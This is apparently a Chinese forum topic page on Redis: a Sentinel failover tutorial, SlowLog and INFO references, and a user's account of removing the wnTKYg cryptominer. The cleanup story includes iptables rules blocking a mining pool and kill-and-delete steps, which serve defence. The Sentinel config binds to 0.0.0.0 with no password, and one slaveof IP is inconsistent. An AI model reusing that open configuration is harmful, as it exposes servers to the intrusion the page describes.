Redis

Redis

Redis SAVE和BGSAVE有啥区别?

数据库 空心菜 回复了问题 2 人关注 1 个回复 2276 次浏览 2022-06-08 11:37 来自相关话题

什么是Redis,Redis有什么特点和优势?

数据库 OS小编 回复了问题 2 人关注 1 个回复 2006 次浏览 2021-12-01 13:09 来自相关话题

Redis持久化有哪些,有什么优缺点?

数据库 Geek小A 回复了问题 2 人关注 1 个回复 2735 次浏览 2021-03-23 16:07 来自相关话题

Redis有哪些优缺点?

数据库 chris 回复了问题 2 人关注 1 个回复 2466 次浏览 2021-03-19 18:51 来自相关话题

清除wnTKYg挖矿木马过程详解

运维 chris 发表了文章 0 个评论 3739 次浏览 2017-07-27 23:02 来自相关话题

 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。 由于工作需要,我由一个专业java开发工程师,渐渐的也成为 ...查看全部
 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。
由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了。最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU也一直保持75%,然后在xShell上top了一下,发现wnTKYg这个程序CPU占用率300%.
wntky.png

很明显是病毒进程,下意识的把它kill了,但是一分钟之后又自动重启了,于是百度了一下,发现这个东西叫做挖矿工,简单的说,就是别人用你的服务器去做它自己的事,然后赚钱。       
 
知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改:
  1. 把默认的端口号6379给改了
  2. 把密码改的更复杂了
  3. 把bind xx.xx.x.x xx.xx.xx.xx改了

修改redis是防止这熊孩子再进来,第二步就是把已经入驻的木马杀死,它不仅使用我的服务器,它还登录我的账号,所以查看了 /root/.ssh 下的文件,在/root/.ssh/known_hosts中发现了我不认识的IP,绝对有问题,于是干脆把 /root/.ssh 下的文件都删了,省事了。
 
第三步就是要找到所有关于病毒的文件, 执行命令  find / -name wnTKYg*,只有/tmp下有这个文件,删了,然后就去kill wnTKYg进程,你以为这样它就可以死了吗?Never!一分钟之后它又复活了,我猜测一定有守护进程在唤醒它,于是我再kill  然后top观察进行变化,终于被我发现了,有一个/tmp/ddg.1007进程很可疑,于是百度这个东东验证了一下,果然,就是挖矿工的守护进程,用ps -aux|grep ddg 命令把所有ddg进程找出来杀掉,并删除/tmp目录下的所有的对应ddg文件,至此,病毒被解决了,异地登录,安全扫描什么的也被我解决了。
 
很多哥们也遇到了这个问题,加了我好友,并且描述了他们的一些情况,我会把他们的改进和补充也写在此贴里,有的哥们会有个定时任务下载这些东西,目录 /var/spool/cron,记得留意这个文件夹,如果遇到,就把它干掉
 
安全问题依然严峻,于是找了一家安全公司--安全狗咨询了下相关的安全业务,发现蛮贵的,都是万开头的,而且我也不知道他们水平怎么样,于是把我遇到的问题跟业务员说了,看看他们怎么解决,怎么收费,谈判了一下午,定价3500,没的再低了,哎,还是我好,又为公司省了3500
 
因为发了这篇帖子,一位和我情况差不多的网友也提供了一种解决方案,我把他的也贴进来与大家分享谢谢这位网友:首先关闭挖矿的服务器访问 :
iptables -A INPUT -s  xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
然后删除yam 文件   用find / -name yam查找yam 文件    之后 找到wnTKYg 所在目录 取消掉其权限  并删除 然后再取消掉 tmp 的权限并删除  之后 pkill  wnTKYg就OK了。
 
当然,我也咨询了阿里的解决方案,有两个,①找第三方安全公司杀②把数据备份一下,重置系统 。  坑爹的阿里啊。
 
分享阅读:点击原文

Redis高可用架构之Sentinel

运维 Geek小A 发表了文章 0 个评论 2754 次浏览 2017-03-25 19:09 来自相关话题

一、背景​   公司的业务在大量的使用redis,访问量大的业务我们有在使用codis集群,redis 3.0集群,说到redis 3.0集群,我们线上已经跑了半年多了,集群本身没有出现过任务问题,但是由于我们这个业务是海外的,集群建在aws的ec ...查看全部
一、背景​  
公司的业务在大量的使用redis,访问量大的业务我们有在使用codis集群,redis 3.0集群,说到redis 3.0集群,我们线上已经跑了半年多了,集群本身没有出现过任务问题,但是由于我们这个业务是海外的,集群建在aws的ec2上,由于ec2的网络抖动或者ec2本身的原因,导致主从切换,目前aws的技术正在跟进,这个集群目前的QPS 50w+,集群本身已经做到了高可用和横向扩展,但是,实际情况一些小的业务没必要上集群,单个实例就可以满足业务需求,那么我们就要想办法如何保证单个实例的高可用,最近也在看相关的文档,做一些测试,大家有在使用redis主从+lvs 漂VIP的方案,也有使用redis主从+哨兵 漂VIP的方案,甚至有在代码逻辑做故障切换等等,各种各样的方案都有,下面我介绍一下redis主从+ 哨兵 漂VIP的方案,后面我们打算线上大规模的使用这个方案。
 
二、环境
#redis
100.10.32.54:6400 主库
100.10.32.55:6400 从库
100.10.32.250 VIP

#sentinel
100.10.32.54:26400 sentinel 本地节点
100.10.32.55:26400 sentinel 本地节点
100.10.32.57:26400 sentinel 仲裁节点

三、部署
1、安装
yum -y install redis
2、撰写redis配置文件(100.10.32.54 和100.10.32.55)
vim /etc/redis_6400.conf

daemonize yes
pidfile "/var/run/redis_6400.pid"
port 6400
tcp-backlog 65535
bind 0.0.0.0
timeout 0
tcp-keepalive 0
loglevel notice
logfile "/var/log/redis/redis_6400.log"
maxmemory 8gb
maxmemory-policy allkeys-lru
databases 16
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename "dump.rdb"
dir "/data/redis/6400"
slave-serve-stale-data yes
slave-read-only yes
repl-disable-tcp-nodelay no
slave-priority 100
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-entries 512
list-max-ziplist-value 64
set-max-intset-entries 512
zset-max-ziplist-entries 128
3、撰写sentinel配置文件(100.10.32.54 、100.10.32.55 和100.10.32.57)
vim /etc/redis-sentinel6400.conf

daemonize yes
port 26400
dir "/data/redis/redis_sentinels"
pidfile "/var/run/redis/sentinel6400.pid"
logfile "/data/redis/redis_sentinels/sentinel6400.log"
sentinel monitor master6400 100.10.32.54 6400 2
sentinel down-after-milliseconds master6400 6000
sentinel failover-timeout master6400 18000
sentinel client-reconfig-script master6400 /opt/notify_master6400.sh ##仲裁节点无需添加这行配置,client-reconfig-script参数是在sentinel做failover的过程中调用脚本漂vip到新的master上
PS:
关于sentinel 的一些工作原理和参数说明,请参阅:http://redisdoc.com/topic/sentinel.html  
 
4、撰写漂VIP的脚本(100.10.32.54 、100.10.32.55)
vim /opt/notify_master6400.sh

#!/bin/bash
MASTER_IP=$6
LOCAL_IP='100.10.32.54' #从库修改为100.10.32.55
VIP='100.10.32.250'
NETMASK='24'
INTERFACE='eth0'
if [ ${MASTER_IP} = ${LOCAL_IP} ]; then
/sbin/ip addr add ${VIP}/${NETMASK} dev ${INTERFACE}
/sbin/arping -q -c 3 -A ${VIP} -I ${INTERFACE}
exit 0
else
/sbin/ip addr del ${VIP}/${NETMASK} dev ${INTERFACE}
exit 0
fi
exit 1
chmod +x /opt/notify_master6400.sh   #赋予可执行权限
PS:
这里大概说一下这个脚本的工作原理,sentinel在做failover的 过程中会传出6个参数,分别是,其中第6个参数from-ip也就是新的master的ip,对应脚本中的MASTER_IP,下面的if判断大家应该都很了然了,如果MASTER_IP=LOCAL_IP,那就绑定VIP,反之删除VIP。
 
5、启动redis服务(100.10.32.54、100.10.32.55)
redis-server /etc/redis_6400.conf
6、初始化主从(100.10.32.55)
redis-cli -p 6400 slaveof 10.10.32.54 6400
7、绑定VIP到主库(100.10.32.54)
/sbin/ip addr add 100.10.32.250/24 dev eth0
8、启动sentinel服务(100.10.32.54、100.10.32.55、100.10.32.57)
redis-server /etc/redis-sentinel6400.conf --sentinel
至此,整个高可用方案已经搭建完成。
 
[root@localhost tmp]# redis-cli -h 100.10.32.54  -p 6400 info  Replication
# Replication
role:master
connected_slaves:1
slave0:ip=100.10.32.55,port=6400,state=online,offset=72669,lag=1
master_repl_offset:72669
repl_backlog_active:1
repl_backlog_size:1048576
repl_backlog_first_byte_offset:2
repl_backlog_histlen:72668
[root@localhost tmp]# redis-cli -h 100.10.32.54  -p 26400 info Sentinel
# Sentinel
sentinel_masters:1
sentinel_tilt:0
sentinel_running_scripts:0
sentinel_scripts_queue_length:0
master0:name=master6400,status=ok,address=100.10.32.54:6400,slaves=1,sentinels=3
[root@localhost tmp]# ip a |grep eth0
2: eth0: mtu 1500 qdisc mq state UP qlen 1000
inet 100.10.32.54/24 brd 100.10.32.255 scope global eth0
inet 100.10.32.250/24 scope global secondary eth0

四、测试
1、把主库停掉
redis-cli -h 100.10.32.54  -p 6400 shutdown
2、看从库是否提升为主库
[root@localhost tmp]# redis-cli -h 100.10.32.55 -p 6400 info Replication
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
看VIP是否漂移到100.10.32.55上
[root@localhost tmp]# ip a |grep eth0
2: eth0: mtu 1500 qdisc mq state UP qlen 1000
inet 100.10.32.55/24 brd 100.10.32.255 scope global eth0
inet 100.10.32.250/24 scope global secondary eth0
4、看Sentinel的监控状态
[root@localhost tmp]# redis-cli -p 26400 info  Sentinel
# Sentinel
sentinel_masters:1
sentinel_tilt:0
sentinel_running_scripts:0
sentinel_scripts_queue_length:0
master0:name=master6400,status=ok,address=100.10.32.55:6400,slaves=1,sentinels=3
原文链接:http://navyaijm.blog.51cto.com/4647068/1745569  
参考学习:http://www.cnblogs.com/LiZhiW/p/4851631.html 

如何查找Redis中key对应的大小和排序?

运维 空心菜 回复了问题 2 人关注 1 个回复 7687 次浏览 2017-01-05 12:26 来自相关话题

Redis慢日志查询系统slowlog

数据库 chris 发表了文章 0 个评论 3361 次浏览 2016-07-07 20:27 来自相关话题

一、什么是SlowLog SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高, 所以你不用担心会影响到你Redis的性能问题。SlowLog是Red ...查看全部


一、什么是SlowLog


SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高,
所以你不用担心会影响到你Redis的性能问题。SlowLog是Redis 2.2.12版本之后才引入的一条命令。


二、SlowLog设置


SlowLog两种设置方式如下:
 
1、redis.conf配置文件设置
在配置文件redis.conf中设置:
slowlog-log-slower-than 10000
slowlog-max-len 128
其中slowlog-log-slower-than表示slowlog的划定界限,只有query执行时间大于slowlog-log-slower-than的才会定义成慢查询,才会被slowlog进行记录。slowlog-log-slower-than设置的单位是微秒,默认是10000微秒,也就是10毫秒。

slowlog-max-len表示慢查询最大的条数,当slowlog超过设定的最大值后,会将最早的slowlog删除,是个FIFO队列。
 
2、使用config方式动态设置slowlog
如下,可以通过config方式动态设置slowlog:
- 查看当前slowlog-log-slower-than设置
127.0.0.1:6379> CONFIG GET slowlog-log-slower-than
1) "slowlog-log-slower-than"
2) "10000"
- 设置slowlog-log-slower-than为100ms
127.0.0.1:6379> CONFIG SET slowlog-log-slower-than 100000
OK
- 设置slowlog-max-len为1000
127.0.0.1:6379> CONFIG SET slowlog-max-len 1000
OK
参考:http://redisdoc.com/server/slowlog.html
 


三、SlowLog 查看


1、查看slowlog总条数
127.0.0.1:6379> SLOWLOG LEN 
(integer) 4

2、查看slowlog
127.0.0.1:6379> SLOWLOG GET
1) 1) (integer) 25
2) (integer) 1440057769
3) (integer) 6
4) 1) "SLOWLOG"
2) "LEN"
2) 1) (integer) 24
2) (integer) 1440057756
3) (integer) 36
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
3) 1) (integer) 23
2) (integer) 1440057752
3) (integer) 11
4) 1) "CONFIG"
2) "SET"
3) "slowlog-log-slower-than"
4) "1"
4) 1) (integer) 22
2) (integer) 1440057493
3) (integer) 27
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
5) 1) (integer) 21
2) (integer) 1440057133
3) (integer) 7
4) 1) "monitor"
如果要获取指定的条数可以使用SLOWLOG GET N命令
127.0.0.1:6379> SLOWLOG GET 1
1) 1) (integer) 26 // slowlog唯一编号id
2) (integer) 1440057815 // 查询的时间戳
3) (integer) 47 // 查询的耗时(微秒),如表示本条命令查询耗时47微秒
4) 1) "SLOWLOG" // 查询命令,完整命令为 SLOWLOG GET,slowlog最多保存前面的31个key和128字符
2) "GET"

Centos6.4下安装最新版Redis

运维 Ansible 发表了文章 0 个评论 3622 次浏览 2016-06-06 19:02 来自相关话题

以下操作过程是记录在Centos6.4下安装最新版的Redis过程。   1、安装epel repo Yum安装源//32 位 rpm -Uvh http://download.fedoraproject.org/pub/e ...查看全部
以下操作过程是记录在Centos6.4下安装最新版的Redis过程。
 
1、安装epel repo Yum安装源
//32 位
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm

//64 位
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

2、安装remi Yum安装源
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm

3、制定Yum源安装Redis
yum --enablerepo=remi,remi-test install redis

4、配置
# vim /etc/sysctl.conf
vm.overcommit_memory=1
# sysctl vm.overcommit_memory=1

# sysctl -w fs.file-max=100000

5、版本确认和添加开机自启
# redis-server --version
Redis server v=3.2.0 sha=00000000:0 malloc=jemalloc-3.6.0 bits=64 build=ae5ce1900d9386a6
# chkconfig --add redis
# chkconfig --level 345 redis on

Redis信息提取

数据库 空心菜 发表了文章 0 个评论 2908 次浏览 2016-04-25 18:48 来自相关话题

默认使用redis-cli  info命令返回时默认选择的信息,但是有时候你做监控提取有效的数值的时候如果默认的可能还需要去过滤一些你用不到的无用数据,从而提取你需要的数据,这样就增加了工作量,有什么办法可以准确的提取自己想要的一些指呢,如下所示。 ...查看全部
默认使用redis-cli  info命令返回时默认选择的信息,但是有时候你做监控提取有效的数值的时候如果默认的可能还需要去过滤一些你用不到的无用数据,从而提取你需要的数据,这样就增加了工作量,有什么办法可以准确的提取自己想要的一些指呢,如下所示。
 
以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
 
通过给定可选的参数 section ,可以让命令只返回某一部分的信息,语法如下:
# redis-cli info [default|all|server....]

server 部分记录了 Redis 服务器的信息,它包含以下域:
    []redis_version : Redis 服务器版本[/][]redis_git_sha1 : Git SHA1[/][]redis_git_dirty : Git dirty flag[/][]os : Redis 服务器的宿主操作系统[/][]arch_bits : 架构(32 或 64 位)[/][]multiplexing_api : Redis 所使用的事件处理机制[/][]gcc_version : 编译 Redis 时所使用的 GCC 版本[/][]process_id : 服务器进程的 PID[/][]run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)[/][]tcp_port : TCP/IP 监听端口[/][]uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数[/][]uptime_in_days : 自 Redis 服务器启动以来,经过的天数[/][]lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理[/]
  clients 部分记录了已连接客户端的信息,它包含以下域:
    []connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)[/][]client_longest_output_list : 当前连接的客户端当中,最长的输出列表[/][]client_longest_input_buf : 当前连接的客户端当中,最大输入缓存[/][]blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量[/]
  memory 部分记录了服务器的内存信息,它包含以下域:
    []used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位[/][]used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量[/][]used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。[/][]used_memory_peak : Redis 的内存消耗峰值(以字节为单位)[/][]used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值[/][]used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)[/][]mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率[/][]mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。[/]
在理想情况下,used_memory_rss的值应该只比used_memory稍微高一点儿。当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
当Redis释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。查看 used_memory_peak 的值可以验证这种情况是否发生。 persistence 部分记录了跟 RDB 持久化和 AOF 持久化有关的信息,它包含以下域:
    []loading : 一个标志值,记录了服务器是否正在载入持久化文件。[/][]rdb_changes_since_last_save : 距离最近一次成功创建持久化文件之后,经过了多少秒。[/][]rdb_bgsave_in_progress : 一个标志值,记录了服务器是否正在创建 RDB 文件。[/][]rdb_last_save_time : 最近一次成功创建 RDB 文件的 UNIX 时间戳。[/][]rdb_last_bgsave_status : 一个标志值,记录了最近一次创建 RDB 文件的结果是成功还是失败。[/][]rdb_last_bgsave_time_sec : 记录了最近一次创建 RDB 文件耗费的秒数。[/][]rdb_current_bgsave_time_sec : 如果服务器正在创建 RDB 文件,那么这个域记录的就是当前的创建操作已经耗费的秒数。[/][]aof_enabled : 一个标志值,记录了 AOF 是否处于打开状态。[/][]aof_rewrite_in_progress : 一个标志值,记录了服务器是否正在创建 AOF 文件。[/][]aof_rewrite_scheduled : 一个标志值,记录了在 RDB 文件创建完毕之后,是否需要执行预约的 AOF 重写操作。[/][]aof_last_rewrite_time_sec : 最近一次创建 AOF 文件耗费的时长。[/][]aof_current_rewrite_time_sec : 如果服务器正在创建 AOF 文件,那么这个域记录的就是当前的创建操作已经耗费的秒数。[/][]aof_last_bgrewrite_status : 一个标志值,记录了最近一次创建 AOF 文件的结果是成功还是失败。[/]
 如果 AOF 持久化功能处于开启状态,那么这个部分还会加上以下域:
    []aof_current_size : AOF 文件目前的大小。[/][]aof_base_size : 服务器启动时或者 AOF 重写最近一次执行之后,AOF 文件的大小。[/][]aof_pending_rewrite : 一个标志值,记录了是否有 AOF 重写操作在等待 RDB 文件创建完毕之后执行。[/][]aof_buffer_length : AOF 缓冲区的大小。[/][]aof_rewrite_buffer_length : AOF 重写缓冲区的大小。[/][]aof_pending_bio_fsync : 后台 I/O 队列里面,等待执行的 fsync 调用数量。[/][]aof_delayed_fsync : 被延迟的 fsync 调用数量。[/]
 stats 部分记录了一般统计信息,它包含以下域:
    []total_connections_received : 服务器已接受的连接请求数量。[/][]total_commands_processed : 服务器已执行的命令数量。[/][]instantaneous_ops_per_sec : 服务器每秒钟执行的命令数量。[/][]rejected_connections : 因为最大客户端数量限制而被拒绝的连接请求数量。[/][]expired_keys : 因为过期而被自动删除的数据库键数量。[/][]evicted_keys : 因为最大内存容量限制而被驱逐(evict)的键数量。[/][]keyspace_hits : 查找数据库键成功的次数。[/][]keyspace_misses : 查找数据库键失败的次数。[/][]pubsub_channels : 目前被订阅的频道数量。[/][]pubsub_patterns : 目前被订阅的模式数量。[/][]latest_fork_usec : 最近一次 fork() 操作耗费的毫秒数。[/]
 replication : 主/从复制信息
    []role : 如果当前服务器没有在复制任何其他服务器,那么这个域的值就是 master ;否则的话,这个域的值就是 slave 。注意,在创建复制链的时候,一个从服务器也可能是另一个服务器的主服务器。[/]
 如果当前服务器是一个从服务器的话,那么这个部分还会加上以下域:
    []master_host : 主服务器的 IP 地址。[/][]master_port : 主服务器的 TCP 监听端口号。[/][]master_link_status : 复制连接当前的状态, up 表示连接正常, down 表示连接断开。[/][]master_last_io_seconds_ago : 距离最近一次与主服务器进行通信已经过去了多少秒钟。[/][]master_sync_in_progress : 一个标志值,记录了主服务器是否正在与这个从服务器进行同步。[/]
 如果同步操作正在进行,那么这个部分还会加上以下域:
    []master_sync_left_bytes : 距离同步完成还缺少多少字节数据。[/][]master_sync_last_io_seconds_ago : 距离最近一次因为 SYNC 操作而进行 I/O 已经过去了多少秒。[/]
 如果主从服务器之间的连接处于断线状态,那么这个部分还会加上以下域:
    []master_link_down_since_seconds : 主从服务器连接断开了多少秒。[/]
 以下是一些总会出现的域:
    []connected_slaves : 已连接的从服务器数量。[/]
 对于每个从服务器,都会添加以下一行信息:
    []slaveXXX : ID、IP 地址、端口号、连接状态[/]
 cpu 部分记录了 CPU 的计算量统计信息,它包含以下域:
    []used_cpu_sys : Redis 服务器耗费的系统 CPU 。[/][]used_cpu_user : Redis 服务器耗费的用户 CPU 。[/][]used_cpu_sys_children : 后台进程耗费的系统 CPU 。[/][]used_cpu_user_children : 后台进程耗费的用户 CPU 。[/]
 commandstats : Redis 命令统计信息cluster : Redis 集群信息keyspace : 数据库相关的统计信息 除上面给出的这些值以外,参数还可以是下面这两个:
    []    all : 返回所有信息[/][]    default : 返回默认选择的信息[/]

当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。
其他信息参考:http://redisdoc.com/server/info.html
条新动态, 点击查看
空心菜

空心菜 回答了问题 • 2015-10-29 10:48 • 3 个回复 不感兴趣

mysql联合索引

赞同来自:

我们都知道索引,也知道用法,但是对于新手我想百分九十不懂,联合索引的使用,这也是优化数据的一个细节,但是又不能随便设置,要根据你的业务需求来判断。           使用场景,比如,一个表中有id  a_id  b_id 为了命中索引,方便查询,不懂联... 显示全部 »
我们都知道索引,也知道用法,但是对于新手我想百分九十不懂,联合索引的使用,这也是优化数据的一个细节,但是又不能随便设置,要根据你的业务需求来判断。           使用场景,比如,一个表中有id  a_id  b_id 为了命中索引,方便查询,不懂联合索引的话,就会一一给a_id和a_id设置常规索引,但是其实应用中我们更常用到的sql是这样的 where a_id =5 and c_id = 2,这时候应该把a_id和b_id做成联合索引,这样的联合索引比起单个索引会高效,联合索引设置:alter table demo add index a_b_id (a_id,b_id)。          联合索引使用范围:举一个很能体现一目了然的例子,手机通讯录,我们会存下姓+名,如李小六,这就类似想象成我们的联合索引,单手机需要查询这个人的时候,手机肯定是先搜李,再搜小,如果你不先输入李,而是先输入小,进行搜索,那么就会搜索不到匹配不出来,一样的要是你先输入李,筛选出来一大批李后,你再输入六,一样的也是会匹配不到。           明白了么,我想通过这个例子应该很形象吧,联合索引也是这个原理,它必须是从左到右进行匹配,才能命中索引,不按照从左到右的搜索条件的话,那么相当于没有命中索引。所以不能随便设置联合索引,甚至联合索引你还要设置好谁在前谁排在后的顺序,要判断好自己的业务是否符合,才能真正起到高效。

Redis SAVE和BGSAVE有啥区别?

回复

数据库 空心菜 回复了问题 2 人关注 1 个回复 2276 次浏览 2022-06-08 11:37 来自相关话题

什么是Redis,Redis有什么特点和优势?

回复

数据库 OS小编 回复了问题 2 人关注 1 个回复 2006 次浏览 2021-12-01 13:09 来自相关话题

Redis持久化有哪些,有什么优缺点?

回复

数据库 Geek小A 回复了问题 2 人关注 1 个回复 2735 次浏览 2021-03-23 16:07 来自相关话题

Redis有哪些优缺点?

回复

数据库 chris 回复了问题 2 人关注 1 个回复 2466 次浏览 2021-03-19 18:51 来自相关话题

如何查找Redis中key对应的大小和排序?

回复

运维 空心菜 回复了问题 2 人关注 1 个回复 7687 次浏览 2017-01-05 12:26 来自相关话题

mysql联合索引

回复

数据库 空心菜 回复了问题 2 人关注 3 个回复 4947 次浏览 2015-10-29 10:48 来自相关话题

清除wnTKYg挖矿木马过程详解

运维 chris 发表了文章 0 个评论 3739 次浏览 2017-07-27 23:02 来自相关话题

 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。 由于工作需要,我由一个专业java开发工程师,渐渐的也成为 ...查看全部
 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。
由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了。最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU也一直保持75%,然后在xShell上top了一下,发现wnTKYg这个程序CPU占用率300%.
wntky.png

很明显是病毒进程,下意识的把它kill了,但是一分钟之后又自动重启了,于是百度了一下,发现这个东西叫做挖矿工,简单的说,就是别人用你的服务器去做它自己的事,然后赚钱。       
 
知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改:
  1. 把默认的端口号6379给改了
  2. 把密码改的更复杂了
  3. 把bind xx.xx.x.x xx.xx.xx.xx改了

修改redis是防止这熊孩子再进来,第二步就是把已经入驻的木马杀死,它不仅使用我的服务器,它还登录我的账号,所以查看了 /root/.ssh 下的文件,在/root/.ssh/known_hosts中发现了我不认识的IP,绝对有问题,于是干脆把 /root/.ssh 下的文件都删了,省事了。
 
第三步就是要找到所有关于病毒的文件, 执行命令  find / -name wnTKYg*,只有/tmp下有这个文件,删了,然后就去kill wnTKYg进程,你以为这样它就可以死了吗?Never!一分钟之后它又复活了,我猜测一定有守护进程在唤醒它,于是我再kill  然后top观察进行变化,终于被我发现了,有一个/tmp/ddg.1007进程很可疑,于是百度这个东东验证了一下,果然,就是挖矿工的守护进程,用ps -aux|grep ddg 命令把所有ddg进程找出来杀掉,并删除/tmp目录下的所有的对应ddg文件,至此,病毒被解决了,异地登录,安全扫描什么的也被我解决了。
 
很多哥们也遇到了这个问题,加了我好友,并且描述了他们的一些情况,我会把他们的改进和补充也写在此贴里,有的哥们会有个定时任务下载这些东西,目录 /var/spool/cron,记得留意这个文件夹,如果遇到,就把它干掉
 
安全问题依然严峻,于是找了一家安全公司--安全狗咨询了下相关的安全业务,发现蛮贵的,都是万开头的,而且我也不知道他们水平怎么样,于是把我遇到的问题跟业务员说了,看看他们怎么解决,怎么收费,谈判了一下午,定价3500,没的再低了,哎,还是我好,又为公司省了3500
 
因为发了这篇帖子,一位和我情况差不多的网友也提供了一种解决方案,我把他的也贴进来与大家分享谢谢这位网友:首先关闭挖矿的服务器访问 :
iptables -A INPUT -s  xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
然后删除yam 文件   用find / -name yam查找yam 文件    之后 找到wnTKYg 所在目录 取消掉其权限  并删除 然后再取消掉 tmp 的权限并删除  之后 pkill  wnTKYg就OK了。
 
当然,我也咨询了阿里的解决方案,有两个,①找第三方安全公司杀②把数据备份一下,重置系统 。  坑爹的阿里啊。
 
分享阅读:点击原文

Redis高可用架构之Sentinel

运维 Geek小A 发表了文章 0 个评论 2754 次浏览 2017-03-25 19:09 来自相关话题

一、背景​   公司的业务在大量的使用redis,访问量大的业务我们有在使用codis集群,redis 3.0集群,说到redis 3.0集群,我们线上已经跑了半年多了,集群本身没有出现过任务问题,但是由于我们这个业务是海外的,集群建在aws的ec ...查看全部
一、背景​  
公司的业务在大量的使用redis,访问量大的业务我们有在使用codis集群,redis 3.0集群,说到redis 3.0集群,我们线上已经跑了半年多了,集群本身没有出现过任务问题,但是由于我们这个业务是海外的,集群建在aws的ec2上,由于ec2的网络抖动或者ec2本身的原因,导致主从切换,目前aws的技术正在跟进,这个集群目前的QPS 50w+,集群本身已经做到了高可用和横向扩展,但是,实际情况一些小的业务没必要上集群,单个实例就可以满足业务需求,那么我们就要想办法如何保证单个实例的高可用,最近也在看相关的文档,做一些测试,大家有在使用redis主从+lvs 漂VIP的方案,也有使用redis主从+哨兵 漂VIP的方案,甚至有在代码逻辑做故障切换等等,各种各样的方案都有,下面我介绍一下redis主从+ 哨兵 漂VIP的方案,后面我们打算线上大规模的使用这个方案。
 
二、环境
#redis
100.10.32.54:6400 主库
100.10.32.55:6400 从库
100.10.32.250 VIP

#sentinel
100.10.32.54:26400 sentinel 本地节点
100.10.32.55:26400 sentinel 本地节点
100.10.32.57:26400 sentinel 仲裁节点

三、部署
1、安装
yum -y install redis
2、撰写redis配置文件(100.10.32.54 和100.10.32.55)
vim /etc/redis_6400.conf

daemonize yes
pidfile "/var/run/redis_6400.pid"
port 6400
tcp-backlog 65535
bind 0.0.0.0
timeout 0
tcp-keepalive 0
loglevel notice
logfile "/var/log/redis/redis_6400.log"
maxmemory 8gb
maxmemory-policy allkeys-lru
databases 16
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename "dump.rdb"
dir "/data/redis/6400"
slave-serve-stale-data yes
slave-read-only yes
repl-disable-tcp-nodelay no
slave-priority 100
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-entries 512
list-max-ziplist-value 64
